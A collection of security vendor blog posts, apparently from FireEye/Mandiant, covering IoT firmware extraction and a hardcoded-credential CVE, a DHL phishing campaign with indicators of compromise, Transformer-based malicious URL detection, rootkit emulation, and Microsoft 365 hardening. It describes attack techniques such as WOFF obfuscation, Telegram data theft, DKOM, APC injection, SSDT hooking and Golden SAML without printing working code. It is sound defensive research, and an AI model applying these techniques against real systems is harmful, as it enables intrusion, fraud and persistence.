NXP iMX28 series MCU, manages NAND is critical to being able to perform this. Fortunately for us, this process has already been explored by the security community, and iMX parsing libraries exist to manipulate the raw NAND dump and remove existing extraneous data. Figure 16 shows the results of re-running binwalk on the output of the imx-nand-convert script. Figure 16: binwalk scan of fixed NAND dump This time, we see only one JFFS2 filesystem, at the very round offset of 0x880000. Using the extraction (-e) feature of binwalk, we can now obtain parsed versions of the U-Boot bootloader, Linux kernel, and JFFS2 system. The final hurdle we need to overcome is mounting the extracted JFFS2 filesystem in a way that allows us to explore the contents. On Linux, the easiest way to perform this is to use the mtd, mtdblock, and nandsim kernel modules. The nandsim module simulates a given NAND device and uses the mtd and JFFS2 subsystems to parse and manage appropriately. The key piece of information that needs to be passed to the nandsim module is the ONFI chip identifier, which can be obtained from the NAND datasheet or by requesting the ID from the IC using a generic reader (like the XGecu Pro used in the Data Extraction section). A list of supported IDs is also provided by the mtd maintainers. Getting the parameters correct is a bit of luck and magic and may require you to compile your own version of the nandsim module; that process will not be covered in this post. Figure 17 shows the steps required to simulate the correct Spansion NAND and mount the JFFS2 filesystem in the form of a Makefile target. Figure 17: Makefile target to mount JFFS2 filesystem By running make mount-jffs2, we can quickly prep and mount the JFFS2 filesystem and explore the contents as we would any filesystem. Accessing the Filesystem In the last section of this post, we’ll walk through our analysis of the JFFS2 filesystem. Remember that our end goal is to obtain a remotely exploitable bug that will permit privileged code execution. With that in mind, some areas of interest are running daemons/processes, system startup logic, and credentials for services listening on the network. The first stop was reviewing the /etc/shadow file to see if there were password hashes for the root user as well as other system users. A quick check of this file determined there was no password hash for the root user, which indicated we would not be able to authenticate using password authentication. We noticed that two other password hashes were present, for the addpd and python users, shown in Figure 18. Figure 18: Connects of /etc/shadow The addpd user had a weak default password but was unable to authenticate using remote methods, and we were ultimately unable to crack the python user’s hash using internal GPU-based servers. Additionally, we were interested in processes that are launched during system boot or post-boot. The directory /WEB/python/ contained a ZIP archive called _x2e.zip, which contained over 200 compiled Python scripts (PYC files), which were loaded on system boot. Using the decompiler uncompyle2, we unpacked these files for review. One file that stood out by name was password_manager.pyc, a file used to reset the login password upon successful boot-up. The file contained five hardcoded and plaintext credentials that mapped to the python system user. These credentials could be used to access the web interface and SSH, shown in Figure 19. Mandiant confirmed different passwords were used for different versions and connectivity states. Mandiant reported this to SolarCity and was assigned the CVE number CVE-2020-9306. Figure 19: Hardcoded credentials in password_manager.pyc With the correct password, we were finally able to connect to the web and SSH ports on a running X2e, but unfortunately only as the less-privileged python system user. While this was a great start, it didn’t satisfy our final objective, which was to remotely compromise the X2e as a privileged user. In Part Two of this blog series, we will explore additional avenues to further compromise the X2e. Conclusion In Part One of this two-part blog series, we covered an overview of the X2e, our initial network-based reconnaissance, PCB inspection techniques, physical debugging interface probing, chip-off techniques, and firmware analysis. Using these methodologies, we were successfully able to remotely compromise the X2e device as a non-administrative user due to hardcoded credentials (CVE-2020-9306). In Part Two, we will re-investigate physical attacks against the X2e in the form of glitch attacks, re-explore the U-Boot bootloader, and finally demonstrate an attack to remotely compromise the X2e device as a privileged user. To continue reading, check out Part Two now. 

  • Phishing Campaign Leverages WOFF Obfuscation and Telegram Channels for Communication
    by Bernard Sapaden on January 26, 2021 at 8:45 pm

    FireEye Email Security recently encountered various phishing campaigns, mostly in the Americas and Europe, using source code obfuscation with compromised or bad domains. These domains were masquerading as authentic websites and stole personal information such as credit card data. The stolen information was then shared to cross-platform, cloud-based instant messaging applications. Coming off a busy holiday season with a massive surge in deliveries, this post highlights a phishing campaign involving a fake DHL tracking page. While phishing attacks targeting users of shipping services is not new, the techniques used in these examples are more complex than what would be found in an off-the-shelf phishing kit. This campaign uses a WOFF-based substitution cypher, localization specific targeting, and various evasion techniques which we unravel here in this blog. Attack Flow The attack starts with an email imitating DHL, as seen in Figure 1. The email tries to trick the recipient into clicking on a link, which would take them to a fake DHL website. In Figure 2, we can see the fake page asking for credit card details that, if submitted, would give the user a generic response while in the background the credit card data is shared with the attackers. Figure 1: DHL phishing attempt Figure 2: Fake website imitating DHL tracking This DHL phishing campaign uses a rare technique for obfuscating its source page. The page source contains proper strings, valid tags, and appropriate formatting, but contains encoded text that would render gibberish without decoding prior to loading the page, as seen in Figure 3. Typically, decoding such text is done by including script functions within the code. Yet in this case, the decoding functions are not contained in the script. Figure 3: Snippet of the encoded text on page source The decoding is done by a Web Open Font Format (WOFF) font file, which happens upon loading the page in a browser and will not be visible in the page content itself. Figure 4 shows the substitution cipher method and the WOFF font file. The attacker does this to evade detection by security vendors. Many security vendors use static or regex signature-based rules, so this method will break those naïve-based conditions. Figure 4: WOFF substitution cipher Loading this custom font which decodes the text is done inside the Cascading Style Sheets (CSS). This technique is rare as JavaScript functions are traditionally used to encrypt and decrypt HTML text. Figure 5: CSS file for loading WOFF font file Figure 5 shows the CSS file used to load the WOFF font file. We have also seen the same CSS file, style.css, being hosted on the following domains: hxxps://www.lifepointecc[.]com/wp-content/sinin/style.css hxxps://candyman-shop[.]com/auth/DHL_HOME/style.css hxxps://mail.rsi-insure[.]com/vendor/ship/dhexpress/style.css hxxps://www.scriptarticle[.]com/thro/HOME/style.css These legitimate-looking domains are not hosting any phishing websites as of now; instead, they appear to be a repository for attackers to use in their phishing campaigns. We have seen similar phishing attacks targeting the banking sector in the past, but this is newer for delivery websites.   Notable Techniques Localization The phishing page displays the local language based on the region of the targeted user. The localization code (Figure 6) supports major languages spoken in Europe and the Americas such as Spanish, English, and Portuguese. Figure 6: Localization code The backend contains PHP resource files for each supported language (Figure 7), which are picked up dynamically based on the user’s IP address location. Figure 7: Language resource files Evasion This campaign employs a variety of techniques to evade detection. This will not serve up a phishing page if the request came from certain blocked IP addresses. The backend code (Figure 8) served the users with a “HTTP/1.1 403 Forbidden” response header under the following conditions: IP has been seen five times (AntiBomb_User func) IP host resolves to its list of avoided host names (‘google’, ‘Altavista’, ‘Israel’, ‘M247’, ‘barracuda’, ‘niw.com.au’ and more) (AntiBomb_WordBoot func) IP is on its own local blocklist csv (x.csv in the kit) (AntiBomb_Boot func) IP has seen POSTing three times (AntiBomb_Block func) Figure 8: Backend evasion code After looking at the list of blocked hosts, we could deduce that the attackers were trying to block web crawlers. Data Theft The attackers behind this phishing campaign attempted to steal credentials, credit card data, and other sensitive information. The stolen data is sent to email addresses and Telegram channels controlled by the attacker. We uncovered a Telegram channel where data is being sent using the Telegram Bot API shown in Figure 9. Figure 9: Chat log While using php mail() function to send stolen credentials is quite common, in the near past, encrypted instant messaging applications such as Telegram have been used for sending phished information back to command and control servers. We were able to access one of the Telegram channels controlled by the attacker as shown in Figure 10. The sensitive information being sent in the chat includes IP addresses and credit card data. Figure 10: Telegram channel with stolen information Conclusion Attackers (and especially phishers) are always on the hunt for new ways to evade detection by security products. Obfuscation gives the attackers an edge, and makes it harder for security vendors to protect their customers. By using instant messaging applications, attackers get user data in real time and victims have little to respond once their personal information is compromised. Indicators of Compromise (IOC) FireEye Email Security utilizing FAUDE (FireEye Advanced URL Detection Engine) protects customers from these types of phishing threats. Unlike traditional anti-phishing techniques dependent on static inspection of phishing URL content, FAUDE uses multiple artificial intelligence (AI) and machine learning (ML) engines to more effectively thwart these attacks. From December 2020 until the time of posting, our FAUDE detection engine saw more than 100 unique URLs hosting DHL phishing pages with obfuscated source code, including: hxxps://bit[.]ly/2KJ03RH hxxps://greencannabisstore[.]com/0258/redirect-new.php hxxps://directcallsolutions[.]co[.]za/CONTACT/DHL_HOME/ hxxps://danapluss[.]com/wp-admin/dhl/home/ hxxp://r.cloudcyberlink[.]digital/<path> (multiple paths using same domain) Email Addresses [email protected][.]com [email protected][.]com [email protected][.]com Telegram Users @Saitama330 @cameleon9 style.css Md5: 83b9653d14c8f7fb95d6ed6a4a3f18eb) Sha256: D79ec35dc8277aff48adaf9df3ddd5b3e18ac7013e8c374510624ae37cdfba31 font-woff2 MD5: b051d61b693c76f7a6a5f639177fb820 SHA-256: 5dd216ad75ced5dd6acfb48d1ae11ba66fb373c26da7fc5efbdad9fd1c14f6e3 Domains Pradosdemojanda[.]com global-general-trackks.supercarhiredubai[.]com tracking-dhi.company Tapolarivercamp[.]com Rosariumvigil[.]com Mydhlexpert[.]com Autorepairbyfradel[.]com URLs hxxps://wantirnaosteo[.]com[.]au/logon/home/MARKET/F004f19441/11644210b.php hxxps://ekartenerji[.]com[.]tr/wp-admin/images/dk/DHL/home.php hxxps://aksharapratishthan[.]org/admin/imagess/F004f19441/sms1.php hxxps://royalgateedu[.]com/wp-content/plugins/elementor/includes/libraries/infos/package/F004f19441/00951124a.php hxxps://vandahering[.]com[.]br/htacess hxxps://hkagc[.]com/man/age/F004f19441/11644210b.php hxxps://fiquefitnes[s]comsaude[.]com/.well-known/MARKET/MARKET/F004f19441/11644210b.php hxxps://juneispearlmonth[.]com/-/15454874518741212/dhl-tracking/F004f19441/00951124a.php hxxps://www.instantcopywritingscript[.]com/blog/wp-content/22/DHL/MARKET hxxps://isss[.]sjs[.]org[.]hk/wp-admin/includes/F004f19441/11644210b.php hxxps://www.concordceramic[.]com/fr/frais/F004f19441/11644210b.php hxxps://infomediaoutlet[.]com/oldsite/wp-content/uploads/2017/02/MARKET/ hxxps://wema-wicie[.]pl/dh/l/en/MARKET hxxps://www.grupoindustrialsp[.]com/DHL/MARKET/ hxxps://marrecodegoias[.]com[.]br/wp-snapshots/activat/MARKET/F004f19441/11644210b.php hxxps://villaluna[.]de/wp-content/info/MARKET/F004f19441/11644210b.php hxxp://sandur[.]dk/wp-content/upgrade/-/MARKET/ hxxps://chistimvse[.]com/es/dhl/MARKET/ hxxps://detmayviet[.]com/wp-includes/widgets/-/MARKET/F004f19441/11644210b.php hxxps://dartebreakfast[.]com/wp-content/plugins/dhl-espress/MARKET/ hxxps://genesisdistributors[.]com/-/Tracking/dhl/Tracking/dhl-tracking/F004f19441/00951124a.php hxxps://www.goldstartechs[.]com/wp-admin/js/widgets/102/F004f19441/11644210b.php hxxps://universalpublicschooltalwandisabo[.]com/DHL hxxps://intranet[.]prorim[.]org[.]br/info/MARKET/F004f19441/11644210b.php hxxps://administrativos[.]cl/mail.php hxxps://nataliadurandpsicologa[.]com[.]br/upgrade/MARKET/F004f19441/11644210b.php hxxps://tanaxinvest[.]com/en/dhl/MARKET/ hxxps://deepbluedivecenter[.]com/clear/item/ hxxps://keystolivingafulfilledlife[.]com/wp-admin/includes/daspoe99i3mdef/DOCUNTRITING hxxps://juneispearlmonth[.]com/-/15454874518741212/dhl-tracking/F004f19441/00951124a.php

  • Training Transformers for Cyber Security Tasks: A Case Study on Malicious URL Prediction
    by Ethan M. Rudd on January 21, 2021 at 5:30 pm

    Highlights        Perform a case study on using Transformer models to solve cyber security problems Train a Transformer model to detect malicious URLs under multiple training regimes Compare our model against other deep learning methods, and show it performs on-par with other top-scoring models Identify issues with applying generative pre-training to malicious URL detection, which is a cornerstone of Transformer training in natural language processing (NLP) tasks Introduce novel loss function that balances classification and generative loss to achieve improved performance on the malicious URL detection task Introduction Over the past three years Transformer machine learning (ML) models, or “Transformers” for short, have yielded impressive breakthroughs in a variety of sequence modeling problems, specifically natural language processing (NLP). For example, OpenAI’s latest GPT-3 model is capable of generating long segments of grammatically-correct prose from scratch. Spinoff models, such as those developed for question and answering, are capable of correlating context over multiple sentences. AI Dungeon, a single and multiplayer text adventure game, uses Transformers to generate plausible unlimited content in a variety of fantasy settings. Transformers’ NLP modeling capabilities are apparently so powerful that they pose security risks in their own right, in terms of their potential power to spread disinformation, yet on the other side of the coin, they can be used as powerful tools to detect and mitigate disinformation campaigns. For example, in previous research by the FireEye Data Science team, a NLP Transformer was fine-tuned to detect disinformation on social media sites. Given the power of these Transformer models, it seems natural to wonder if we can apply them to other types of cyber security problems that do not necessarily involve natural language, per se. In this blog post, we discuss a case study in which we apply Transformers to malicious URL detection. Studying Transformer performance on URL detection problem is a first logical step to extending Transformers to more generic cyber security tasks, since URLs are not technically natural language sequences but share some common characteristics with NLP. In the following sections, we outline a typical Transformer architecture and discuss how we adapt it to URLs with a character-focused tokenization. We then discuss loss functions we employ to guide the training of the model, and finally compare our training approaches to more conventional ML-based modeling options. Adapting Transformers to URLs Our URL Transformer operates at the character level, where each character in the URL corresponds to an input token. When a URL is input to our Transformer, it is appended with special tokens—a classification token (“CLS”) that conditions the model to produce a prediction and padding tokens (“PAD”) that normalize the input to a fixed length to allow for parallel training. Each token in the input string is then projected into a character embedding space, followed by a stack of Attention and Feed-Forward Neural Network (FFNN) layers. This stack of layers is similar to the architecture introduced in the original Transformers paper. At a high level, the Attention layers allow each input to be associated with long-distance context of other characters that are important for the classification task, similar to the notion of attention in humans, while the FFNN layers provide capacity for learning the relationships among the combination of inputs and their respective contexts. An illustration of our architecture is shown in Figure 1. Additionally, the URL Transformer employs a masking strategy in its Attention calculation, which enforces a left-to-right (L-R) dependence. This means that only input characters from the left of a given character influence that character’s representation in each layer of the attention stack. The network outputs one embedding for each input character, which captures all information learned by the model about the character sequence up to that point in the input. Once the model is trained, we can use the URL Transformer to perform several different tasks, such as generatively predicting the next character in the input sequence by using the sequence embedding () as an input to another neural network with as softmax output over the possible vocabulary of characters. A specific example of this is shown in Figure 1, where we take the embedding of the input “firee”() and use it to predict the next most likely character, “y.” Similarly, we can use the embedding produced after the classification token to predict other properties of the input sequences, such as their likelihood of maliciousness. Figure 1: High-level overview of the URL Transformer architecture Loss Functions and Training Regimes With the model architecture in hand, we now turn to the question of how we train the model to most effectively detect malicious URLs. Of course, we can train this model in a similar way to other supervised deep learning classifiers by: (1) making predictions on samples from a labeled training set, (2) using a loss function to measure the quality of our predictions, and (3) tune model parameters (i.e., weights) via backpropagation. However, the nature of the Transformer model allows for several interesting variations to this training regime. In fact, one of the reasons that Transformers have become so popular for NLP tasks is because they allow for self-supervised generative pre-training, which takes advantage of massive amounts of unlabeled data to help the model learn general characteristics of the input language before being fine-tuned on the ultimate task at-hand (e.g., question answering, sentiment analysis, etc.). Here, we outline some of the training regimes we explored for our URL Transformer model. Direct Label Prediction (Decode-To-Label) Using a training set of URLs with malicious and benign labels, we can treat the URL Transformer architecture as a feature extractor, whose outputs we use as the input to a traditional classifier (e.g., FFNN or even a random forest). When using a FFNN as our classifier, we can backpropagate the classification loss (e.g., binary cross-entropy) through both the classifier and the Transformer network to adjust the weights to perform classification. This training regime is the baseline for our experiments and is how most deep learning models are trained for classification tasks. Next-Character Prediction Pre-Training and Fine-Tuning Beyond the baseline classification training regime, the NLP literature suggests that one can learn a self-supervised embedding of the input sequence by training the Transformer to perform a next-character prediction task, then fine-tuning the learned representation for the classification problem. A key advantage of this approach is that data used for pre-training does not require malicious or benign labels; instead, the next characters in a URL serve as the labels to be predicted from prior characters in the sequence. This is similar to the example given in Figure 1, where the embedding output is used to predict the next character, “y,” in “fireeye.com.” Overall, this training regime allows us to take advantage of the massive amount of unlabeled data that is typically available in cyber security-related problems. The overall structure of the architecture for this regime is similar to the aforementioned binary classification task, with FFNN layers added for classification. However, since we are now predicting multiple classes (i.e., one class per input character in the vocabulary), we must apply a softmax function to the output to induce a probability distribution over the potential output characters. Once the Transformer portion of the network is pre-trained in this way, we can swap the FFNN classification layers focused on character prediction with new layers that will be trained for the malicious URL classification problem, as in the decode-to-label case. Balanced Mixed-Objective Training Prior work has shown that imbuing the training process with additional knowledge outside of the primary task can help constrain the learning process, and ultimately result in better models. For instance, a malware classifier might train using loss functions that capture malicious/benign classification, malware family prediction, and tag prediction tasks as a mechanism to provide the classifier with broader understanding of the problem than looking at malicious/benign labels in isolation. Inspired by these findings, we also introduced a mixed-objective training regime for our URL Transformer, where we train for binary classification and next-character prediction simultaneously. At each iteration of training, we compute a loss multiplier such that each loss contribution is fixed prior to backpropagation. This ensures that neither loss term dominates during training. Specifically, for minibatch i, let the net loss LMixed be computed as follows:   Given hyperparameters a and b, defined such that a + b: = 1, we compute constant a so that the net loss contribution of LCLS to LMixed is a and the net contribution of LNext to LMixed is b. For our evaluations, we set a := b := 0.5, effectively requiring that the model equally balance its ability to generate the next character and accurately predict malicious URLs. Evaluation To evaluate our URL Transformer model and better understand the impact of the three training regimes discussed earlier, we collected a training dataset of over 1M labeled malicious and benign URLs, which was split into roughly 700K training samples, 100K validation samples, and 200k test samples. Additionally, we also developed an unlabeled pre-training dataset of 20M URLs. Using this data, we performed four different training runs for our Transformer model: DecodeToLabel (Baseline): Using strictly the binary cross-entropy loss on the embedded classification features over the entire sequence, we trained the model for 15 epochs using the training set. MixedObjective: We trained the model for 15 epochs on the training set, using both the embedded classification features and the embedded next-character prediction features. FineTune: We pre-trained the model for 15 epochs on the next-character prediction task using the training set, ignoring the malicious/benign labels. We then froze weights over the first 16 layers of the model and trained the model for an additional 15 epochs using a binary cross-entropy loss on the classification labels. FineTune 20M: We performed pre-training on the next-character prediction task using the 20M URL dataset, pre-training for 2 epochs. We then froze weights over the first 16 layers of the Transformer and trained for 15 epochs on the binary classification task. The ROC curve shown in Figure 2 compares the performance of these four training regimes. Here, our baseline DecodeToLabel model (red) yielded a ROC curve with 0.9484 AUC, while the MixedObjective model (green) slightly outperformed the baseline with an AUC of 0.956. Interestingly, both of the fine-tuning models yielded poor classification results, which is counter to the established practice of these Transformer models in the NLP domain. Figure 2: ROC curves for four URL Transformer training regimes To assess the relative efficacy of our Transformer models on this dataset, we also fit several other types of benchmark models developed for URL classification: (1) a Random Forest model on SME-derived features, (2) a 1D Convolutional Neural Network (CNN) model on character embeddings, and (3) a Long Short-Term Memory (LSTM) neural network on character embeddings. Details of these models can be found in our white paper, however we find that our top performing Transformer model performs on-par with the best performing non-Transformer baseline (a 1D CNN model), which perhaps indicates that the long-range dependencies typically learned by Transformer models are not as useful in the case of malicious URL detection. Figure 3: ROC curves comparing URL Transformer to other benchmark URL classification models Summary Our experiments suggest that Transformers can achieve performance comparable to or better than that of other top-performing models for URL classification, though the details of how to achieve that performance differ from common practice. Contrary to findings from the NLP domain, wherein self-supervised pre-training substantially enhances performance in a fine-tuned classification task, similar pretraining approaches actually diminish performance for malicious URL detection. This suggests that the next character prediction task has too little apparent correlation with the task of malicious/benign prediction for effective/stable transfer. Interestingly, utilizing next-character prediction as an auxiliary loss function in conjunction with a malicious/benign loss yields improvements over training solely to predict the label. We hypothesize that while pre-training leads to a relatively poor generative model due to randomized content in the URLs within our dataset, a malicious/benign loss may serve to better condition the generative model learned by the next-character prediction task, distilling a subset of relevant information. It may also be the case that the long-distance relationships that are key to the generative pre-training task are not as important for the final malicious URL classification, as evidenced by the performance of the 1D CNN model. Note that we did not perform a rigorous hyperparameter search for our Transformer, since this research was primarily concerned with loss functions and training regimes. Therefore, it is still an open question as to whether a more optimal architecture, specifically designed for this classification task, could substantially outperform the models described here. While our URL dataset is not representative of all data in the cyber security space, the difficulty of obtaining a readily fine-tuned model from self-supervised pre-training suggests that this approach is unlikely to work well for training Transformers on longer sequences or sequences with lesser resemblance to natural language (e.g., PE files), but an auxiliary loss might work. Details about this research and additional results can be found in our associated white paper.

  • Emulation of Kernel Mode Rootkits With Speakeasy
    by Andrew Davis on January 20, 2021 at 4:45 pm

    In August 2020, we released a blog post about how the Speakeasy emulation framework can be used to emulate user mode malware such as shellcode. If you haven’t had a chance, give the post a read today. In addition to user mode emulation, Speakeasy also supports emulation of kernel mode Windows binaries. When malware authors employ kernel mode malware, it will often be in the form of a device driver whose end goal is total compromise of an infected system. The malware most often doesn’t interact with hardware and instead leverages kernel mode to fully compromise the system and remain hidden. Challenges With Dynamically Analyzing Kernel Malware Ideally, a kernel mode sample can be reversed statically using tools such as disassemblers. However, binary packers just as easily obfuscate kernel malware as they do user mode samples. Additionally, static analysis is often expensive and time consuming. If our goal is to automatically analyze many variants of the same malware family, it makes sense to dynamically analyze malicious driver samples. Dynamic analysis of kernel mode malware can be more involved than with user mode samples. In order to debug kernel malware, a proper environment needs to be created. This usually involves setting up two separate virtual machines as debugger and debugee. The malware can then be loaded as an on-demand kernel service where the driver can be debugged remotely with a tool such as WinDbg. Several sandbox style applications exist that use hooking or other monitoring techniques but typically target user mode applications. Having similar sandbox monitoring work for kernel mode code would require deep system level hooks that would likely produce significant noise. Driver Emulation Emulation has proven to be an effective analysis technique for malicious drivers. No custom setup is required, and drivers can be emulated at scale. In addition, maximum code coverage is easier to achieve than in a sandbox environment. Often, rootkits may expose malicious functionality via I/O request packet (IRP) handlers (or other callbacks). On a normal Windows system these routines are executed when other applications or devices send input/output requests to the driver. This includes common tasks such as reading, writing, or sending device I/O control (IOCTLs) to a driver to execute some type of functionality. Using emulation, these entry points can be called directly with doped IRP packets in order to identify as much functionality as possible in the rootkit. As we discussed in the first Speakeasy blog post, additional entry points are emulated as they are discovered. A driver’s DriverMain entry point is responsible for initializing a function dispatch table that is called to handle I/O requests. Speakeasy will attempt to emulate each of these functions after the main entry point has completed by supplying a dummy IRP. Additionally, any system threads or work items that are created are sequentially emulated in order to get as much code coverage as possible. Emulating a Kernel Mode Implant In this blog post, we will show an example of Speakeasy’s effectiveness at emulating a real kernel mode implant family publicly named Winnti. This sample was chosen despite its age because it transparently implements some classic rootkit functionality. The goal of this post is not to discuss the analysis of the malware itself as it is fairly antiquated. Rather, we will focus on the events that are captured during emulation. The Winnti sample we will be analyzing has SHA256 hash c465238c9da9c5ea5994fe9faf1b5835767210132db0ce9a79cb1195851a36fb and the original file name tcprelay.sys. For most of this post, we will be examining the emulation report generated by Speakeasy. Note: many techniques employed by this 32-bit rootkit will not work on modern 64-bit versions of Windows due to Kernel Patch Protection (PatchGuard) which protects against modification of critical kernel data structures. To start, we will instruct Speakeasy to emulate the kernel driver using the command line shown in Figure 1. We instruct Speakeasy to create a full memory dump (using the “-d” flag) so we can acquire memory later. We supply the memory tracing flag (“-m”) which will log all memory reads and writes performed by the malware. This is useful for detecting things like hooking and direct kernel object manipulation (DKOM). Figure 1: Command line used to emulate the malicious driver Speakeasy will then begin emulating the malware’s DriverEntry function. The entry point of a driver is responsible for setting up passive callback routines that will service user mode I/O requests as well as callbacks used for device addition, removal, and unloading. Reviewing the emulation report for the malware’s DriverEntry function (identified in the JSON report with an “ep_type” of “entry_point”), shows that the malware finds the base address of the Windows kernel. The malware does this by using the ZwQuerySystemInformation API to locate the base address for all kernel modules and then looking for one named “ntoskrnl.exe”. The malware then manually finds the address of the PsCreateSystemThread API. This is then used to spin up a system thread to perform its actual functionality. Figure 2 shows the APIs called from the malware’s entry point. Figure 2: Key functionality in the tcprelay.sys entry point Hiding the Driver Object The malware attempts to hide itself before executing its main system thread. The malware first looks up the “DriverSection” field in its own DRIVER_OBJECT structure. This field holds a linked list containing all loaded kernel modules and the malware attempts to unlink itself to hide from APIs that list loaded drivers. In the “mem_access” field in the Speakeasy report shown in Figure 3, we can see two memory writes to the DriverSection entries before and after itself which will remove itself from the linked list. Figure 3: Memory write events representing the tcprelay.sys malware attempting to unlink itself in order to hide As noted in the original Speakeasy blog post, when threads or other dynamic entry points are created at runtime, the framework will follow them for emulation. In this case, the malware created a system thread and Speakeasy automatically emulated it. Moving on to the newly created thread (identified by an “ep_type” of “system_thread”), we can see the malware begin its real functionality. The malware begins by enumerating all running processes on the host, looking for the service controller process named services.exe. It’s important to note that the process listing that gets returned to the emulated samples is configurable via JSON config files supplied at runtime. For more information on these configuration options please see the Speakeasy README on our GitHub repository. An example of this configurable process listing is shown in Figure 4. Figure 4: Process listing configuration field supplied to Speakeasy Pivoting to User Mode Once the malware locates the services.exe process, it will attach to its process context and begin inspecting user mode memory in order to locate the addresses of exported user mode functions. The malware does this so it can later inject an encoded, memory-resident DLL into the services.exe process. Figure 5 shows the APIs used by the rootkit to resolve its user mode exports. Figure 5: Logged APIs used by tcprelay.sys rootkit to resolve exports for its user mode implant Once the exported functions are resolved, the rootkit is ready to inject the user mode DLL component. Next, the malware manually copies the in-memory DLL into the services.exe process address space. These memory write events are captured and shown in Figure 6. Figure 6: Memory write events captured while copying the user mode implant into services.exe A common technique that rootkits use to execute user mode code involves a Windows feature known as Asynchronous Procedure Calls (APC). APCs are functions that execute asynchronously within the context of a supplied thread. Using APCs allows kernel mode applications to queue code to run within a thread’s user mode context. Malware often wants to inject into user mode since much of the common functionality (such as network communication) within Windows can be more easily accessed. In addition, by running in user mode, there is less risk of being detected in the event of faulty code bug-checking the entire machine. In order to queue an APC to fire in user mode, the malware must locate a thread in an “alertable” state. Threads are said to be alertable when they relinquish their execution quantum to the kernel thread scheduler and notify the kernel that they are able to dispatch APCs. The malware searches for threads within the services.exe process and once it detects one that’s alertable it will allocate memory for the DLL to inject then queue an APC to execute it. Speakeasy emulates all kernel structures involved in this process, specifically the executive thread object (ETHREAD) structures that are allocated for every thread on a Windows system. Malware may attempt to grovel through this opaque structure to identify when a thread’s alertable flag is set (and therefore a valid candidate for an APC). Figure 7 shows the memory read event that was logged when the Winnti malware manually parsed an ETHREAD structure in the services.exe process to confirm it was alertable. At the time of this writing, all threads within the emulator present themselves as alertable by default. Figure 7: Event logged when the tcprelay.sys malware confirmed a thread was alertable Next, the malware can execute any user mode code it wants using this thread object. The undocumented functions KeInitializeApc and KeInsertQueueApc will initialize and execute a user mode APC respectively. Figure 8 shows the API set that the malware uses to inject a user mode module into the services.exe process. The malware executes a shellcode stub as the target of the APC that will then execute a loader for the injected DLL. All of this can be recovered from the memory dump package and analyzed later. Figure 8: Logged APIs used by tcprelay.sys rootkit to inject into user mode via an APC Network Hooks After injecting into user mode, the kernel component will attempt to install network obfuscation hooks (presumably to hide the user mode implant). Speakeasy tracks and tags all memory within the emulation space. In the context of kernel mode emulation, this includes all kernel objects (e.g. Driver and Device objects, and the kernel modules themselves). Immediately after we observe the malware inject its user mode implant, we see it begin to attempt to hook kernel components. This was confirmed during static analysis to be used for network hiding. The memory access section of the emulation report reveals that the malware modified the netio.sys driver, specifically code within the exported function named NsiEnumerateObjectsAllParametersEx. This function is ultimately called when a user on the system runs the “netstat” command and it is likely that the malware is hooking this function in order to hide connected network ports on the infected system. This inline hook was identified by the event captured in Figure 9. Figure 9: Inline function hook set by the malware to hide network connections In addition, the malware hooks the Tcpip driver object in order to accomplish additional network hiding. Specifically, the malware hooks the IRP_MJ_DEVICE_CONTROL handler for the Tcpip driver. User mode code may send IOCTL codes to this function when querying for active connections. This type of hook can be easily identified with Speakeasy by looking for memory writes to critical kernel objects as shown in Figure 10. Figure 10: Memory write event used to hook the Tcpip network driver System Service Dispatch Table Hooks Finally, the rootkit will attempt to hide itself using the nearly ancient technique of system service dispatch table (SSDT) patching. Speakeasy allocates a fake SSDT so malware can interact with it. The SSDT is a function table that exposes kernel functionality to user mode code. The event in Figure 11 shows that the SSDT structure was modified at runtime. Figure 11: SSDT hook detected by Speakeasy If we look at the malware in IDA Pro, we can confirm that the malware patches the SSDT entry for the ZwQueryDirectoryFile and ZwEnumerateKey APIs that it uses to hide itself from file system and registry analysis. The SSDT patch function is shown in Figure 12. Figure 12: File hiding SSDT patching function shown in IDA Pro After setting up these hooks, the system thread will exit. The other entry points (such as the IRP handlers and DriverUnload routines) in the driver are less interesting and contain mostly boilerplate driver code. Acquiring the Injected User Mode Implant Now that we have a good idea what the driver does to hide itself on the system, we can use the memory dumps created by Speakeasy to acquire the injected DLL discussed earlier. Opening the zip file we created at emulation time, we can find the memory tag referenced in Figure 6. We quickly confirm the memory block has a valid PE header and it successfully loads into IDA Pro as shown in Figure 13. Figure 13: Injected user mode DLL recovered from Speakeasy memory dump Conclusion In this blog post, we discussed how Speakeasy can be effective at automatically identifying rootkit activity from the kernel mode binary. Speakeasy can be used to quickly triage kernel binaries that may otherwise be difficult to dynamically analyze. For more information and to check out the code, head over to our GitHub repository.

  • Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452
    by Mike Burns on January 19, 2021 at 2:00 pm

    UPDATE (Mar. 18): Mandiant recently observed targeted threat actors modifying mailbox folder permissions of user mailboxes to maintain persistent access to the targeted users’ email messages. This stealthy technique is not usually monitored by defenders and provides threat actors a way to access the desired email messages using any compromised credentials. The white paper, blog post and Azure AD Investigator tool have been updated to reflect these findings. Mandiant would like to thank the members of Microsoft’s Detection and Response Team (DART) for their collaboration on this research. In December 2020, FireEye uncovered and publicly disclosed a widespread attacker campaign that is being tracked as UNC2452. In some, but not all, of the intrusions associated with this campaign where Mandiant has visibility, the attacker used their access to on-premises networks to gain unauthorized access to the victim’s Microsoft 365 environment. Goals and Objectives Methodologies that UNC2452 and other threat actors have used to move laterally from on-premises networks to the Microsoft 365 cloud have been detailed in our white paper, Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. The paper also discusses how organizations can proactively harden their environments and remediate environments where similar techniques have been observed. Mandiant is releasing an auditing script, Azure AD Investigator, through its GitHub repository that organizations can use to check their Microsoft 365 tenants for indicators of some of the techniques used by UNC2452. The script will alert administrators and security practitioners to artifacts that may require further review to determine if they are truly malicious or part of legitimate activity. Many of the attacker techniques detailed in the white paper are dual-use in nature—they can be used by threat actors but also by legitimate tools. Therefore, a detailed review for specific configuration parameters may be warranted, including correlating and verifying that configurations are aligned with authorized and expected activities. Attacker Tactics, Techniques and Procedures (TTPs) Mandiant has observed UNC2452 and other threat actors moving laterally to the Microsoft 365 cloud using a combination of four primary techniques: Steal the Active Directory Federation Services (AD FS) token-signing certificate and use it to forge tokens for arbitrary users (sometimes described as Golden SAML). This would allow the attacker to authenticate into a federated resource provider (such as Microsoft 365) as any user, without the need for that user’s password or their corresponding multi-factor authentication (MFA) mechanism. Modify or add trusted domains in Azure AD to add a new federated Identity Provider (IdP) that the attacker controls. This would allow the attacker to forge tokens for arbitrary users and has been described as an Azure AD backdoor. Compromise the credentials of on-premises user accounts that are synchronized to Microsoft 365 that have high privileged directory roles, such as Global Administrator or Application Administrator. Backdoor an existing Microsoft 365 application by adding a new application or service principal credential in 